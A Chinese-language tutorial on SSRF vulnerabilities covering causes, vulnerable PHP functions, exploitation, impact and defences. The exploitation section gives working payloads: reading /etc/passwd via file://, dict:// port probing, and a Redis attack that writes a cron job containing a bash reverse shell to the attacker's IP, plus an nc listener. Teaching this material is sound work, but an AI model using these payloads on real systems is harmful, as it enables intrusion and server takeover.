- 服务端请求伪造(SSRF)漏洞
SSRF(server-side request forgery,服务端请求伪造),是一种由攻击者构造形成由服务器端发起请求的一种漏洞。从客户端发起一个请求到服务端,服务端再向另外的服务端发起请求的过程称之为服务器端请求。让服务器去请求你通常请求不到的东西。一般用来在外网探测或攻击内网服务。
- 常见类型
有回显:从页面中可以看到返回内容。
无回显:无法从页面中看到返回内容。
SSFRF漏洞
- 1.原理
- 1.1.成因
- 1.2.场景
- 1.3.相关函数
- 2.利用
- 2.1.读取敏感文件
- 2.2.探测内网服务
- 2.3.攻击内网应用
- 3.危害
- 4.防御
1.原理
1.1.成因
一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。
举例:
攻击者传入一个未经验证的 URL,后端代码直接请求这个 URL,就会造成 SSRF 漏洞。
1.2.场景
内网网段:
10.0.0.0--10.255.255.255
172.16.0.0--172.31.255.255
192.168.0.0--192.168.255.255
Web功能:
www.example.com/xxx.php?image=(地址) 此类资源地址就可能存在SSRF漏洞
通过 URL 地址分享网页内容:获取超链接的标题进行显示
文件处理、编码处理、转码等服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
通过 URL 地址加载与下载图片:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下载图片
图片、文章收藏功能:主要网站会取 URL 地址中 title 以及文本的内容作为显示以求好的用户体验
未公开的 api 实现及其他调用 URL 的功能
Url关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain …
1.3.相关函数
PHP 中的函数:
curl_exec() 、file_get_contents()、fsockopen()
curl_exec()
前端传进来的 url 被后台使用 curl_exec() 进行了请求,然后将请求的结果又返回给了前端。
file_get_contents()
使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
fsockopen()
fsockopen 函数实现获取用户制定 url 的数据(文件或者 html )。这个函数会使用 socket 跟服务器建立tcp 连接,传输原始数据。
2.利用
2.1.读取敏感文件
file:///etc/passwd
file协议与http协议的区别
file协议主要用于读取服务器本地文件,访问的是本地的静态资源
http协议是访问本地的html文件,相当于把本机当作http服务器,通过http访问服务器,服务器再去访问本地资源。
简单来说file只能静态读取,http可以动态解析,http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以。
2.2.探测内网服务
利用Bp抓包爆破扫描端口
dict协议:属于字典服务器,在ssrf中常用于探测目标服务器端口上运行的服务版本信息.
格式:dict://ip:port
探测应用服务器版本
curl -v dict://ip:port
探测内网redis
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。
2.3.攻击内网应用
dict协议攻击redis
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,攻击者可以通过写定时任务的方式进行反弹shell
写定时任务
centos,在/var/spool/cron/目录下
ubuntu 的定时任务在 /var/spool/cron/crontabs/ 目录下
payload
dict://内网ip:6379/flushall
dict://内网ip:6379/config set dir /var/spool/cron/
dict://内网ip:6379/config set dbfilename root
dict://内网ip:6379/set x "\n* * * * * bash -i &> /dev/tcp/自己ip/2333 <&1\n"
dict://内网ip:6379/save
nc –lvvp 2333
gopher协议攻击redis
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL
gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
在 SSRF 易受攻击的站点上生成 Gopher 负载以利用 SSRF 并获得 RCE。
可以攻击的应用:MySQL、FastCGI、Memcached、Redis、Zabbix、SMTP
https://github.com/tarunkant/Gopherus
3.危害
- 内外网的端口和服务扫描
- 攻击运行在内网或本地的应用程序
- 对内网web应用进行指纹识别,识别企业内部的资产信息
- 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)
- 利用file协议读取本地敏感数据文件等
4.防御
过滤返回的信息:如果web应用是去获取某一类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息:避免用户可以根据错误信息来判断远程服务器的端口状态。
限制请求的端口:比如80,443,8080,8090。
禁止不常用的协议:仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
URL限制:使用DNS缓存或者Host白名单的方式。
禁止跳转、限制协议、URL限制、内外网限制